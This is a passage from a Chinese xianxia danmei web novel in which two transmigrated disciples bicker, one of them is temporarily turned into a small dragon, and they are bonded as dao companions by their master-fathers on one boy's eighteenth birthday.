贺兰忱更加肆无忌惮的调戏他,道:“我可是黄花大闺男,你亲了我,就要跟我结婚的。” 沈云戚四脚着地,打算跑路,不想跟这神经病多说什么。 不过当人当习惯了,四只脚走路不是他的舒适区,走了半响,才从贺兰忱身上走到床边,床有些高,不知道该如何下去。 沈云戚正惆怅犹豫该如何下地的时候,门外响起了敲门声,随之而来的便是渡妄的声音:“我进来了。” 沈云戚顿时一惊,吓得惊慌失措,这样子可不能被他看见。 他立即回头看向贺兰忱,贺兰忱怔愣间,便发现刚刚走路都困难的小金龙,一溜烟窜进了他的衣袖,贴着他的皮肤,顺着他的手臂往他身体上窜,虽说他不是冷血动物那样,可到底比人体的温度低。 贺兰忱起了一些鸡皮疙瘩,防止沈云戚在他身上乱窜,一把摁住他,让他藏于腹部的位置。 门被打开,渡妄沉这一张脸进来。 贺兰忱颇有些坐立难安,赶紧从床上起来,看着地上沈云戚散落在地上的衣服,赶紧将衣服捡起来,又收拾了一下床铺,俨然一副刚刚起床整理房间的模样。 渡妄倒是没有多想,只是问道:“既已起床,为何不回我?” “师父,你能不能不要直接就进我房间?”贺兰忱面露难色。 渡妄上下打量了一番他,嗤笑一声:“莫不是背着我做什么坏事,怕我发现?” “不敢不敢。”我能做什么坏事,再坏能有你坏? 渡妄却凉凉的问:“最近几日夜里,沈不忘叫你出去作甚?” 贺兰忱立即站定,藏于他衣间的沈云戚也精神一凛,探头探脑的,他爹怎么半夜找贺兰忱?该不会给他开小灶吧? 到底谁才是他的亲传弟子啊? “没什么,二师父见我剑术进步的慢,特地加训一会。”贺兰忱如实回答。 渡妄嗤笑一声,道:“你这剑术还叫进步的慢?沈云戚那小崽子跟你打,若不是你让着他,他早就被打成狗了,沈不忘竟然还觉得你进步慢?” 贺兰忱:…… 沈云戚:…… “话不能这么说,我没有让着戚宝,他是师兄,比我强这不是理所当然的吗?”贺兰忱强行解释道。 渡妄立即摆手道:“行了行了,我不是来听你说这些的,你们两个能不能消停点?” “啊?”贺兰忱呆住。 沈云戚也屏住呼吸,生怕被他发现。 渡妄没好气的说道:“小崽子一天到晚缠着他爹就算了,现在夜里还要指导你练剑,到底谁才是他道侣,他应该陪着谁?” 贺兰忱小声嘀咕了一句:“明明就是你最喜欢缠着二师父。” “你说什么?”渡妄冷着脸,反问。 贺兰忱立即认怂,道:“自然是您了,你们两天造地设的一对,神仙都羡慕的道侣,谁敢不赞同,谁敢反对?” 渡妄又说:“下个月便是我与他在一起三百年的纪念日,我打算带他出去好好游玩一番,你便带着小崽子出去历练,可知道?” “三百年?你们不是才成亲十三年吗?”贺兰忱颇有些纳闷。 渡妄道:“我跟他三百年前相遇。” 贺兰忱:…… 沈云戚听到他的离谱发言,真的差一点按捺不住要出声了,你也不能那你们认识那一天就当在一起的那日! 渡妄也不管贺兰忱露出一脸蛋疼的表情,继续自己的话题道:“你明日就带小崽子下山。” “这……不好吧?”贺兰忱心道,戚宝正在房间里,你还跟我的大声密谋,他可是听得清清楚楚。 渡妄见他要拒绝,质问道:“你小子,竟敢忤逆我?当年若不是你答应我,说你会帮我缠着小东西,让我跟你二师父有更多的时间过二人世界,我能带你走?” “哎哎哎啊,师父,你可别乱说……啊!”贺兰忱心里慌得一比。 沈云戚听到此处,才意识到,原来是这个原因,贺兰忱才总是跟自己一起玩,都是他们的交易。 他心下愤懑不已,恼火的同时又有点其他的情绪,尚未反应过来这种情绪从何而来,只觉得牙痒痒,想咬人。 少年的身体,因为成年累月的练习,薄薄的腹肌藏在肌肤下,此时腹部也崩的很紧,沈云戚一口咬下去,根本叼不住任何东西,反倒像是嘴唇撞在了他的腹部。 再亲我我就要你负责了。 脑海里闪过某人没皮没脸的话。 贺兰忱也发现了戚宝在做小动作,心下一慌,立即猛拍胸膛,振振有词的保证道:“师父,你放心,这件事情就包在我身上。” 他的巴掌正好隔着衣服拍在戚宝的脑袋上, 沈云戚脑袋一下撞在他胸膛上,晕头转向。 你还敢打我是吧?我要咬人,就现在!他是凶恶的猛兽,咬死贺兰忱这个臭东西! 这次他的牙齿有了着力点,咬到的不是空气,而是…… 被咬到的一瞬,贺兰忱浑身肌肉绷紧,原本镇静的表情此时也有些绷不住了。 他不自在的模样被渡妄看在眼里,渡妄倒是没用异样的眼光看他,平静的开口:“你年岁也到了,这书拿着自己看吧。” 渡妄随手掏了本书丢给他,上书《春宫密卷第三册》。 贺兰忱:…… 就挺尴尬的。 在亦师亦父的人面前失态真的很丢脸,鬼知道他会在背后如何蛐蛐自己,相处了这么些年的老魔头,谁还不知道他的性子啊?肆意妄为,霸道蛮横,还喜欢用两个小崽子的笑话拿去取悦道侣。 也不管沈不忘愿不愿意听,反正分享欲一绝。 贺兰忱看着渡妄离开的背影,又看了一眼自己手里的书,名声扫地。 骚动的小金龙此时也老实巴交的,不敢乱动了。 等到人终于走远了,小脑袋才从他领口探出来,沈云戚有些庆幸自己现在变成了龙,不然此时脸上肯定爆红了。 刚刚,他一口咬在了贺兰忱的ru头上。 简直尴尬到想找个地洞钻进去,这是人干事吗? 当然不是,他现在是个龙,不知道任何人情世故,他只是个动物罢了! 他只是咬不到任何一块肉,正好那看到那边有个凸起的,退一万步说,难道贺兰忱自己没有责任吗? 沈云戚在心里给自己撇清了关系,却也不敢直视贺兰忱。 阳光正好从窗户照射进来,打在小金龙亮晶晶的鳞片上,又大又圆的眼睛此时耷拉着眼皮,贺兰忱觉得有趣,原来小龙竟然也会露出脸红的样子。 贺兰忱伸手去捏他的脸,小金龙立即连连后退,问道:“你干嘛?” “你刚刚咬我哪了?”贺兰忱皮笑肉不笑的问道。 “你……你拍我脑袋,我被拍晕了……我不是有意的。”沈云戚立即解释道,真是羞死了。 “我在师父面前可是颜面尽失,你就说怎么办吧?”贺兰忱扯了扯嘴角,心中好笑,勉强维持住冷酷的模样,将手中的书一丢,书页展开。 上面画的两个衣裳尽开的男子,交缠着亲吻着,画工一般,氛围却很到位。 沈云戚看着那玩意儿,脑袋一空,随即捂着自己的龙头,一边道:“头好晕啊,头晕,该不会被你拍成脑震荡了吧?” 他摇摇晃晃的走了两步,身子一歪,倒在被褥上,安详的合着眼睛,遇到不想面对的事情,还是装晕吧。 逃避虽可耻,但是有用。 很快,有手在挠他的肚皮,痒痒的感觉让他不由摇了摇尾巴,在床上扫来扫去。 “真的晕过去了啊?”贺兰忱自言自语的说道。 贺兰忱将他从被褥上拿起来,抱在怀里,他软若无骨办,脑袋和尾巴都垂着,浑然放松的姿态,似真的晕过去了,毫无任何警惕心。 贺兰忱眼尖的看到他睁了一只眼睛,观察他做什么,他装作没发现一般,摸了摸小金龙泛白的肚皮,一边自言自语道:“听说龙有两根,也不知道长什么样,我来找找。” 什么两根? 沈云戚发现这人毫不把自己当外人,对着他摸来摸去的,他忍了忍。 “这里是腰吧。”贺兰忱想到小龙之前叉腰的造型,手指又往下摸了摸几寸,“两根应该长在这里。” 装死的小金龙终于忍无可忍,一个激灵站起来,咋咋呼呼的问道:“你在干什么?” “求知。”贺兰忱盘着腿坐在榻上,眉眼带着笑意。 此时太阳光正好照在少年英朗的脸上,他比戚宝大两岁,轮廓极深,眉眼深邃,英武非凡,即便两个人是一起长大的,即便他长着前世一模一样的脸,早就看了千百遍了。 可是他这般垂眸看着他笑,阳光在他睫羽上洒下淡淡的金,好看非常,依旧会让人心跳失了频率。 沈云戚一时间心跳漏了一下,色厉内荏道:“求知什么?什么两根?莫名其妙的。” “两根追追啊。”贺兰忱继续笑。 沈云戚连忙要跑路,一边骂骂咧咧道:“你变态啊,你是男同吗你?” “好了好了,别跑了。”贺兰忱一手将他拉了回来。 沈云戚立即用两个爪爪捂住自己的□□,但是捂了半天也不知道自己的□□在哪里,四只爪子手忙脚乱的到处找。 他忽然意识到,他自己都找不到追追在哪里,怎么可能被贺兰忱这死变态翻到? 贺兰忱噗嗤一声,被他逗笑了。 沈云戚:超级生气[○?`Д?? ○]! “你这样可不能到处乱跑,若是遇上坏心的修士,可是会把你当灵宠契约的。”贺兰忱提醒道。 沈云戚不屑一顾,道:“我才不怕,我爹教我反契了,还想契约我,我直接把他契约成我的灵石奴!” 贺兰忱听到这话,沉默了片刻,提醒道:“你也别乱契约人,万一契约的是个坏人怎么办?” “那我就杀了他。”沈云戚奶凶奶凶的说道。 还是个小奶龙,就想着杀人了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第 61 章 嬉戏打闹 小奶龙凶巴巴的, 眉头挑的老高。 他能遇上什么坏人? 沈云戚想了想,又说:“要是我遇上什么坏人,我就……叫我爹揍他!” “爹宝龙。”贺兰忱手指在他肚子上戳了戳。 沈云戚眼珠子转了一下, 嘻嘻笑了起来, 道:“那、我要是遇见坏人了, 你不帮我吗?” 贺兰忱一听,顿时沉默了。 小东西, 你都不知道,你能遇到最大的坏人就是我。 或者说是原文的贺兰忱。 见他不说话, 沈云戚立即暴起,从床上一溜爬到他身上,细长的身子盘在他的脖子上,恶狠狠的威胁:“说,帮不帮我?不然今天就让你身首异处!” “帮帮帮, 大王饶命啊!”贺兰忱立即投降。 沈云戚眯着眼睛, 盯着他看了半响,哼了一声。 贺兰忱沉默了片刻,即便是他们的结局不好,却也不想他与别人在一起。 他们都是穿来的,难道还能重复原文的结局吗? 贺兰忱思索片刻, 道:“如果你真的要契约人的话,那就跟我立契。” 沈云戚歪着龙头想了一下,觉得他又在打什么坏主意。 “真的,我绝对会一辈子保护你的。”贺兰忱又戳了戳他的小肚子。 “别说那么多废话了,我现在变不回去了,这可怎么办啊?”沈云戚急的爪子在空气中乱挠,从贺兰忱脖子上下来, 忧心忡忡的开口,“我不能让我爹看到我变成这样了!” 贺兰忱从床上下来,将他踹在兜里。 一颗金色的脑袋探了出来,问道:“你带我去哪里?” “去泡灵泉,你是因为灵力不够,所以才会现原形。”贺兰忱解释道。 沈云戚问:“那我泡了灵泉就会变成人了吗?” “嗯。” 沈云戚这才松了一口气,道:“吓死我了。” “不过你这也算早熟了,小说里你可没有那么早变成龙。”贺兰忱说道。 沈云戚疯狂点头,道:“只要能变人就好。” 贺兰忱带着他去了后山的灵泉瀑布,此山是沈不忘寻得最适合修炼闭关的仙山,天材地宝遍地都是,灵泉灵脉源源不断,十分适合两个晚辈在此处启蒙,修习。 路上并不远,沈云戚吸收着空气里浓郁的灵气,贺兰忱伸手摸摸他的小脑袋,小金龙立即舒服的眯了眯眼睛,发出呼噜呼噜的声音。 等到沈云戚意识到自己发出了什么丢人的声音,立即从他怀里跳出去,一个猛子扎进了灵泉里。 “噗通”一声,水花四溅。 贺兰忱见他很快浮上来了,在水面上漂着,舒舒服服的吸收着灵气,想必用不了多久就会变成人形。 他转身离开,脱掉衣服,站在瀑布之下,任凭激流冲刷着躯体,冰冷的水冲散身体深处躁动不安的情绪。 沈云戚真是少年不知愁滋味,在父亲的荫蔽下长大,很容易上当受骗的。 冷冷的水冲刷着他的脑袋,水流如柱从眉宇上落下,他漆黑的眸子从远远的看向小金龙所在的方向。 在这里生活的这十几年,无忧无虑幸福快乐,都让他快忘记了小说的剧情了。 儿时相认那日,他曾经说过他是龙傲天,是后半卷的主角,当时戚宝嘀咕了一句,前面的主角是我两个爹,我还以为后面的主角怎么都应该是我了。 主角确实也是戚宝,小说里他们两个是一对。 不过这也是贺兰忱想要改变的故事。 原文的贺兰忱和沈云戚相逢的时候还算美好,后面却十分糟糕,相爱相杀来形容则不为过。 沈云戚第一次变成龙的时候遇上了从月宫出来历练的贺兰忱,想要契约金龙当灵兽的人便是贺兰忱。 沈云戚哪里会吃亏,确实反契了人类当自己的灵石奴。 这契约之法是渡妄交给他的,不是缔结的主仆契约,而是婚契。 两个人就这样阴差阳错,在彼此不知道的情况下结为了道侣。 小龙成年后就会进入第一次发情期,于是两个人便双修了。 沈云戚作为龙族,需要维持龙身和人身的修为平衡,就需要双倍的灵力修为,否则很容易失控,普通的修炼方法于他来说并不顶用,修为也无法增长。 于是两个人双修便成了家常便饭,就在两人色授魂与之时,贺兰忱得知沈云戚的父亲竟是灭了自己王国,害死自己父皇之人。 于是复仇的念头便在心里滋生,沈云戚还一直心心念念的想带自己的道侣去见父亲。 之后每一次双修,贺兰忱便将他当做炉鼎,吸干沈云戚的所有修为。 最后在帝陵秘境时,放光了沈云戚的血,开启了帝陵。 也在那时,沈云戚才知晓跟自己喜爱之人,是怀着怎样的心思? 决裂在帝陵门外,真相揭露在帝陵之内。 贺兰忱放弃毫无作用的沈云戚之后,因果便落在了他身上,他进了帝陵便知晓害死他父皇的并不是魔尊,让山河沦为魔窟的也不是渡妄。 后悔,自责,来不及说道歉。 沈云戚获得了五枚星灵,圣血加身,一举突破了大乘期修为。 决战一触即发! 他不是原文里的贺兰忱,不是那个蠢货,也不会伤害戚宝。 所有的一切都变了,只是……心中为何如此不安? 是因为戚宝刚刚说的,他跟别人缔结契约吗? 若是命运不落在自己身上,落在旁人身上,他该如何做? 要不先……只是不知道他对自己是否也…… “贺兰忱!贺兰忱!!!”沈云戚喊了好几声都不见瀑布下的人有反应,好似入定了一般。 沈云戚捡起一个树叶,折了个鸟飞了过去,让它狂啄贺兰忱的脸。 贺兰忱握住那只鸟,抬眸看向远处灵泉处的沈云戚,他变成了人形,趴在池子旁边,伸手冲着他疯狂挥舞。 “贺兰忱,快过来。”沈云戚催促道。 贺兰忱从瀑布下离开,将凌乱的湿发往后捋过去,赤着上身走到水池边。 蜜色的肌肤上还挂着水珠,少年的身材薄肌细腰宽肩,走过来的时候充满了荷尔蒙的气息,沈云戚一时间不知道目光往哪里摆了,下意识的潜进水里,只露出一个发顶在外面。 贺兰忱蹲在水边,问道:“叫我做什么?” 沈云戚:卟噜卟噜…… 水上浮起一圈圈水泡,可是人不出来。 贺兰忱抬手摸了摸他的发顶,声音里带着浓浓的笑意,戏谑道:“怎么了,尾巴还没有变回去?” “不是。”沈云戚露出半个脑袋,半垂着眼眸道,“你就不能穿件衣服吗?” 贺兰忱挑眉,道:“什么?我有的你都有,害羞什么?” “谁害羞了?”沈云戚挥手打开他的小贱手。 贺兰忱若有所思的盯着沈云戚看了半响,道:“不对,你有的我没有。” “什么?”沈云戚问。 贺兰忱竖起两个手指,解释道:“我没有两个追追。” “你踏马!”沈云戚顿时气的小脸爆红,到底谁说龙有两个追追的,他刚刚在水里检查了一下,根本找不到!!! 贺兰忱被他的反应逗得发出清冽的笑声。 沈云戚似无地自容般潜入水里,半响不出来,贺兰忱语调懒散的,认错道:“我错了,是我不对,快出来吧,今日是你生辰,师父们还要带我们下山去。” 沈云戚从水里冒出头来,鼓着腮帮子。 贺兰忱伸手戳了戳他的脸颊,玩笑道:“怎么,卖萌吗?” “噗。”沈云戚含了一大口水,对着他吐了一汪水柱,直喷在他脸上。 贺兰忱懵了。 沈云戚得意的继续潜入水里,打算继续的时候,贺兰忱也跳进了灵泉里。 “喂,你干嘛?你别过来啊。”沈云戚这下才怕了,也反应过来自己叫他的原因是什么。 贺兰忱却丝毫无所觉,似笑非笑,恶劣道:“你叫啊,你叫破喉咙都没有人来救你的。” “别,闹着玩的。”沈云戚伸手想要阻止他靠近。 贺兰忱却不依不饶,道:“看你之前给我咬的,还朝我脸喷口水,你是要负责的知道吗?” 沈云戚目光看向他被咬过的地方,红红的小豆豆,似乎也没有什么变化啊。 “你还看?”贺兰忱被气笑了,这小子究竟是故意的还是真的无所觉? 沈云戚昂着脖子,嘴硬道:“咬了就咬了,我就不负责,你要我负责,难道你是同性恋吗?” 贺兰忱顿了一下。 沈云戚目光四下乱窜,显然有些心慌慌的。 贺兰忱神色自若,笑道:“当然不是,我才不喜欢男的。” 沈云戚暗暗松了一口气,同时又有些不爽,道:“……那你还要我负责。” “你小子。”贺兰忱冲过去将他压在水池边。 “别别别……”沈云戚急忙喊着。 贺兰忱也意识到了不对劲。 他从人变成龙,衣服全都褪在自己的房间,此时水下的少年,正是光溜溜的不着寸缕,他的手正好按住他的肩膀,指尖触及到他肌肤,在水中如丝绸般柔滑细腻。 …… 两个人面对面,大眼瞪小眼的,林中鸟兽的叫声悠悠绵长。 奇怪的氛围在两个人之间蔓延开来。 “你们两个在做什么?”冷冷的声音从头顶传来。 第 62 章 求师父成全。 听到这声音, 两人顿时暗道:糟糕。 贺兰忱立即松开沈云戚,转头便看到沈不忘款款走来,一身天青色的长袍, 岁月在他这样的修真者身上显露不出任何痕迹, 冷峻的茶金色眸子在水池两少年的脸上穿梭着。 贺兰忱赶紧道:“师父, 我……” 沈云戚又想潜入水里,这也太尴尬了, 早知道不跟贺兰忱打闹了,让他去帮自己拿衣服好了。 “你说。”沈不忘目光落在打算水遁开溜的沈云戚。 沈云戚又慢悠悠的冒出头来, 抬手挠了挠脸,道:“那个……我……沐浴忘记带衣服了,想让贺兰忱帮我拿一下衣服来着。” 贺兰忱疯狂点头,是的是的,是这样没错。 沈不忘幽幽的看着两少年, 随手将沈云戚的衣服往地上一丢。 “爹, 你真是救苦救难,知道我没有带衣服,还特地给我送来。”沈云戚喜滋滋的说道。 沈不忘凉凉的回道:“衣服是从贺兰忱屋子里找到的。” 贺兰忱&沈云戚:…… 他们从彼此眼中看到了惊慌失措。 沈云戚想的是,千万不能被爹发现我变成了龙啊,我要怎么搪塞过去? 贺兰忱想的是, 师父该不会误会我跟戚宝的关系了吧,我要不将错就错跟师父说,要跟戚宝结为道侣了?若是他们都不同意可怎么办? 两人宛如在父亲眼皮子底下偷尝禁果的坏孩子,心虚的移开目光,不敢吱声。 沈不忘则是将两个人的表情看在眼里。 他们各自穿好衣服,沈云戚还回头看了一眼屁股的位置,确认没有尾巴了才松了一口气, 可是等着他的确实沈不忘怪异的眼神。 沈云戚立即头皮发麻,第一次面对温柔爹爹有种心虚的感觉。 贺兰忱也乖乖站在原地不吱声,眼神下意识的看向沈云戚的方向,沈云戚心下有种怪异的感觉,什么都没有做,为什么这么心虚? 沈云戚整理了一下心情,像是没事发生一般,跑去抱住沈不忘的胳膊,问道:“爹,今日我生辰,你有什么礼物要送给我呀?” 沈不忘:…… “该不会没有吧?”沈云戚好看的眉头拧起来。 沈不忘心里默默叹息了一声,语调平静道:“自是有的。” 沈云戚喜滋滋的道了句:“我就知道爹对我最好了。” 沈云戚冲着贺兰忱使了个眼色,贺兰忱默默竖起了大拇指,唇语道:牛逼! 沈不忘看着两个人的小动作,眼角抽了抽,两小只真把他当瞎的吗? 他随手又拿出了一本黄图,问道:“这个也是在他房间找到的,说说看吧,怎么回事?” 两人目瞪口呆,我去,真是跳进黄河也洗不清了。 “给你们一刻钟,想怎么解释吧。”沈不忘声音毫无波澜的,却又极具压迫感。 这事情其实只要实话实说就行,两人也并未做什么出格的事情,可是沈云戚总有秘密不想让他爹知道,生怕打破了这平和温馨的生活。 这些年,他们一家四口的生活过得别提有多快乐了,就算渡妄经常发神经,想要把他两逐出家门出去历练,争宠闹事,却也只是闹着玩的。 敛去仙岛的禁制,带着两个小娃娃一道上去。 仙岛之上的宫殿尽是灵石打造的,通透明亮,宛如水晶宫一般,一入到此地,浓郁的灵气便争先恐后的钻进人的灵府中。 从后山到达仙岛,正好是一刻钟的时间,仙岛正中央种着一棵老树,空空正躺在上面,优哉游哉的将尾巴落下来逗着水池里的鱼儿,空空见到沈云戚来了,立即欢欣鼓舞的冲着他跑来,抱着他的脑袋就是一顿亲。 沈云戚瞥了他爹一眼,对着空空道:“别闹了。” 空空却不依不饶的,沈云戚只能胆战心惊却又暗爽的抬起手,让空空挂在他胳膊上荡秋千,时不时挠一下空空的下巴,倒是越发觉得有趣,脸上不由露出笑容来,俨然将之前的高压抛之脑后。 沈不忘站定,回头看小崽子跟猴子玩得不亦乐乎,脸色偏冷,问道:“想好了吗?” 沈云戚立即老实站定,不敢笑了,欲言又止,似乎并未想好要怎么解释。 贺兰忱悄悄看了他一眼,要不就直接说实话好了,也不是什么大不了的事情。 “哟,怎么了?两个小东西惹爹爹生气了?怎么这么不乖啊?” 幸灾乐祸的声音响起,渡妄从屋内走出来,脸上带着笑意。 沈云戚抬脸,生气的瞪了他一眼,一看就是坏爹告状的,不然他爹能这么准确在贺兰忱床上找到他衣服,还顺带拿来了那本春宫图册么? 那图册就是坏爹方才亲自交给贺兰忱的。 他和贺兰忱两个老实人,可真是比窦娥还冤啊? 渡妄对上沈云戚恶狠狠的眼神,看在眼里,只会觉得家里的小崽子露出小奶牙,想要咬他一口,实则一点杀伤力都没有。 这些年,渡妄一直视沈云戚为头号争宠对象,时不时使点坏,作出点无伤大雅的妖。 在沈云戚看来,就是大人欺负小朋友,实在太坏了。 “哇,小东西要咬我,你要保护我啊。”渡妄贱笑着往沈不忘身后躲去,手臂自然而然的揽住他的腰。 沈不忘静默了片刻,扒开他的手,转而问贺兰忱道:“阿忱,你说。” 贺兰忱站定,目光直视着沈不忘,解释道:“我跟师弟他只是……” “我们在谈恋爱。”沈云戚直接打断了贺兰忱的话。 贺兰忱惊讶的看向沈云戚,沈不忘和渡妄的目光也向他投来。 沈云戚坚定的重复了一遍,道:“就是你看到的那样,我们……青梅竹马,两情相悦。”说这话的时候,他挠了挠脑袋,悄悄瞥了一眼贺兰忱。 贺兰忱微微有些诧异,也心领神会道:“师父,是这样的,徒儿自小就喜欢师弟,还请师父成全。” 贺兰忱一掀衣摆,“噗通”一声,直直的跪在了两个师父面前。 沈云戚:??? 贺兰忱跪在地上,沈云戚面对两个爹投来的目光,一时不知做什么反应才好,怔愣了半响,也跪了下来。 “请父亲成全。”沈云戚也道。 至于成全什么是,他也不知道。 贺兰忱都愿意陪他演戏了,总不能放着他不管吧。 先请他们成全再说,至于他们愿不愿意,那也不是他能左右的。 沈不忘只觉得呼吸一滞,幽幽的目光扫向一旁的道侣,渡妄假装四处看风景,随后终于躲不过了,只道:“儿大不中留啊。” 沈云戚悄悄的瞥了一眼贺兰忱,默默冲着他竖起了大拇指。 贺兰忱淡淡的笑着,似乎在回应他。 这个时候,两个人小动作还挺多的,细细想来,两人确实两小无猜一道长大,也未见过其他,会互生喜欢倒也正常。 沈不忘心情复杂,沉默了半响,道:“你们先起来吧。” “哦。”沈云戚要起来。 贺兰忱却重重的在地上磕了几个响头,道:“求师父成全。” 沈云戚立马又跪下,不敢擅自起来。 好兄弟为自己受苦,他总不能抛弃兄弟独自享乐,万一被他爹责罚了可怎么办? 沈不忘看着呆呆的傻儿子,又看了看贺兰忱,抬手。 渡妄看他的手,笑吟吟的伸手握了上去。 沈不忘瞪了他一眼,道:“双生珠,给我。” “给给给。”渡妄将两颗珠子放在他手心。 两颗通体莹白的珠子,萦绕着淡淡的灵气,看上去又圆又漂亮。 沈云戚和贺兰忱都不明所以,看着那珠子,不知这是何宝物,正要询问,便听沈不忘说道:“这是双生珠,若是你们有缘能点亮它,便可结为道侣。” “有缘就行吗?”贺兰忱问道。 沈云戚心中却讶异,为什么就结为道侣了? 不是啊,爹,我们只是假装说谈恋爱,打算把今天的事情糊弄过去吧,为什么一下子就结为道侣了? 包办婚姻是不对的! 虽然心里有很多话要说,面上还是接过了沈不忘递过来的两生珠。 渡妄轻咳了一声,走到两人面前,使了个诀,两人手中的珠子变得有了些温度,从淡淡的白色变得有些许粉,看上去似有了生命一般。 渡妄正要解释说着是什么东西时候,沈不忘冷冷的扫了他一眼,他只能暗笑不语。 “那……要现在开始点亮吗?”沈云戚看着手心里的珠子。 贺兰忱却看到了渡妄在一旁奇怪的神色,不由沉思。 沈不忘道:“你们两个交换一下。” “好的。”沈云戚应下。 两个人互换了一下两生珠,指尖微微触碰,目光在空气中交汇,似乎有什么变得不太一样了。 互相握着带着对方气息的珠子,温度传递着。 沈不忘说:“凝神,想办法点亮它。” 沈云戚还有疑问:“有什么技巧吗?万一点不亮怎么办?” “点不亮就说明你们没有缘分,就不能结为道侣。”渡妄在一旁说风凉话。 沈云戚不满的看了他一眼,道:“那你跟爹结为道侣的时候,有点亮吗?” “自然,我的那颗在你爹那,你爹的那颗在我这。”渡妄得意洋洋的,“不忘,你别拿出来,我怕小东西的眼睛会被亮瞎。” 沈云戚十分不服气,胜负欲在心里膨胀着,无论如何都不能输给坏爹。 贺兰忱已经闭上眼睛,握住了沈云戚的两生珠,按照沈不忘说的凝神,努力点亮这个东西。 沈云戚见他这般,也默默闭上眼睛。 一定要亮起来,一定要亮起来了。 沈不忘又道:“你们的一道意念已经在两生珠里面了,若是可以点亮我便成全你们,若是只有一人点亮,或者无法点亮,那你们便好好跟我交代,刚刚发生什么,莫要糊弄为师。” 我的珠子,一定会发光发亮的。 眼前一道明光闪耀,沈云戚睁开一只眼睛,立即惊喜道:“我的这颗亮了。” “你手里的是贺兰忱的。”渡妄凉凉的说道,转头又对贺兰忱道,“看看你手里的这个,这才是戚宝的。” 贺兰忱双手握紧,抱的密不透光,不确定里面的珠子是否亮了起来。 沈云戚有些紧张,他心里不知道是什么情绪,可能是不想输,也可能是不想跟他没有……缘分。 贺兰忱见三个人的目光都落在他身上,尤其是沈云戚一双黑溜溜的眼睛又紧张又好奇。 沈云戚催促道:“你亮出来我们看看,我肯定不会输给你的。” 贺兰忱犹豫片刻,展开手掌,掌心中的两生珠正亮着,宛如一个小电灯,幽幽的发着粉粉的光。 不过与沈云戚手中的那个相比较,还是又差距的,他掌心的那个更亮。 “这样……可以吗?”贺兰忱不确定的问道。 沈云戚不满的拿过来,将两个珠子放在一起,显然有一个更亮,他的那颗暗淡不少。 “为什么我的这个不怎么亮?”沈云戚百思不得其解。 渡妄脸色黑了下来,明显带着不悦,道:“正常情况下就是这样的。” “哦。”沈云戚想明白了。 贺兰忱那个不太正常,贺兰忱是天才,是龙傲天,别人无论多努力都做不到的事情,他轻而易举便能做到。 贺兰忱心思却不在那两个珠子上,濡慕的眼神看着沈不忘。 沈不忘也有些惊讶,心中却有些许不满,总觉得自家养的好宝宝,竟然也到了成亲的这日,不过刚刚话说出去了,自是不能在两个孩子面前失言。 “好了,为父成全你们,以后你们就是道侣了。”沈不忘慢条斯理的说道。 沈云戚立即站起来,道:“这么简单吗?” 贺兰忱却又磕了三个响头,感谢师父成全之类的,礼数周全,教人挑不了错处。 渡妄走到两人面前,拿过两个珠子,冒着光的两生珠缓缓在空中升起,朝着两个少年的眉心而去,宛如水如海,两生珠直接进了两个少年的灵台。 “你们交换了两生珠,日后便是道侣了,若是有任何一个人的珠子熄灭了,道侣的关系自行断绝,希望你们日后能相互扶持,荣辱与共。”沈不忘解释道。 沈云戚疯狂点头,话听在耳中,想的却是终于把这件事情糊弄过去了。 贺兰忱却听得认真,道:“弟子定不辜负师父的期待。” 渡妄:“呵呵。” 他在冷笑什么?弟子成为道侣,他反倒不开心了? 贺兰忱疑惑的瞥了一眼渡妄,这两生珠闻所未闻,究竟是什么东西? 该不会就是小说里,渡妄骗沈云戚的两生契吧? 原文里沈云戚便是以两生契跟贺兰忱结为道侣的,之后两人便开始了相爱相杀的一生,最终以悲剧收场。 沈不忘也不想跟他们多说什么,只说让他们先去收拾收拾,稍后出门给沈云戚过十八岁生日。 无论如何,今天都是个好日子,既为道侣,也是生辰。 贺兰忱离开的时候还摸了摸额头,只要闭上眼睛就能看到那个发亮的珠子,淡淡的粉色。 就这样,结为道侣了? 偏头看一眼身侧的沈云戚,他也在摸自己的额头,睁眼闭眼,也在观察那个珠子。 沈云戚发现贺兰忱盯着他看,立即解释道:“你放心,我不喜欢你的,结为道侣只是权宜之计,谢谢你刚刚为我解围。” “哼。”贺兰忱唇角绷直,轻轻哼了一声。 第 63 章 废材儿子天才爹! 真是个会扫兴的人。 沈云戚不知道他心中所想, 继续解释道:“我知道你心里有喜欢的人,我又不是不识趣的人,反正这事也没什么人知道, 我们就当做没发生过。” 无相寺初次相遇时, 贺兰忱就说过他有喜欢的人的事情, 他一直都记着这事,有时候也会去想, 他喜欢的人是谁,是以前学校里的同学吗?还是大院里的姐姐或者妹妹? 贺兰忱声音硬邦邦的问道:“什么没发生过?你的小电灯还在我脑子里亮着。” 你真是没有心! “我爹不是说了吗?只要熄灭了, 我们就自动解除了道侣关系。”沈云戚没心没肺的说道,随后又喃喃自语道,“这东西到底是怎么亮的?为什么你的比我的亮?” 贺兰忱心中依旧不爽,说话的姿态便也傲慢起来:“因为我是天才,而你……没有我厉害。” “什么?我绝对不能输, 我努力!!!”沈云戚原本还想说想办法让珠子灭掉就行, 一听贺兰忱的话,胜负欲便又起来了。 沈云戚闭眼,凝神憋气了好一会,拉着贺兰忱问道,“给我看看, 有亮一点吗?” 贺兰忱冷酷的走下山去,一边回道:“没有。” “那我再努努力。”沈云戚又开始,虽然不知道此物为何会亮,怎么点亮,反正他就一直在努力。 贺兰忱:…… 幼稚。 沈云戚又问:“变亮了吗?” “没有。” “变亮了吗?” “没有。” …… 沈云戚努力了好久,贺兰忱都被他逗乐了,之前郁闷不满的情绪一扫而空, 笑吟吟的看着他准备继续去泡灵泉,沈云戚自认为是他灵力修为比不上贺兰忱的缘故。 沈云戚回头看着似笑非笑的贺兰忱,惊疑了一下,“咦?” “怎么?”贺兰忱挑眉。 沈云戚莫名其妙的摸了一下额头,道:“你的好像更亮了一点。” “哦?”贺兰忱也有些诧异,甚是不解这珠子因何而亮,小说里并没有这个道具。 这也很正常,毕竟有很多事情都变得不一样了。 沈云戚立即道:“我的肯定也变亮了,你肯定是骗我才说没有。” “真没有骗你。”贺兰忱无奈的解释。 沈云戚随后又问他刚刚发生了什么,为什么自己灵台中的两生珠会变得更亮? 贺兰忱思索了片刻,如实回答道:“可能是……我刚刚心情还不错?看到你的傻样子把我逗开心了。” “原来如此原来如此,我也要心情不错。”沈云戚自认为抓住了诀窍。 沈云戚尝试了一会发现自己心情一般。 刚刚糊弄他爹心情紧张到了极点,一时半会难以放松,他忽然想起了什么事情,脸色一沉,诘问道:“你说我傻样子,你在骂我?” 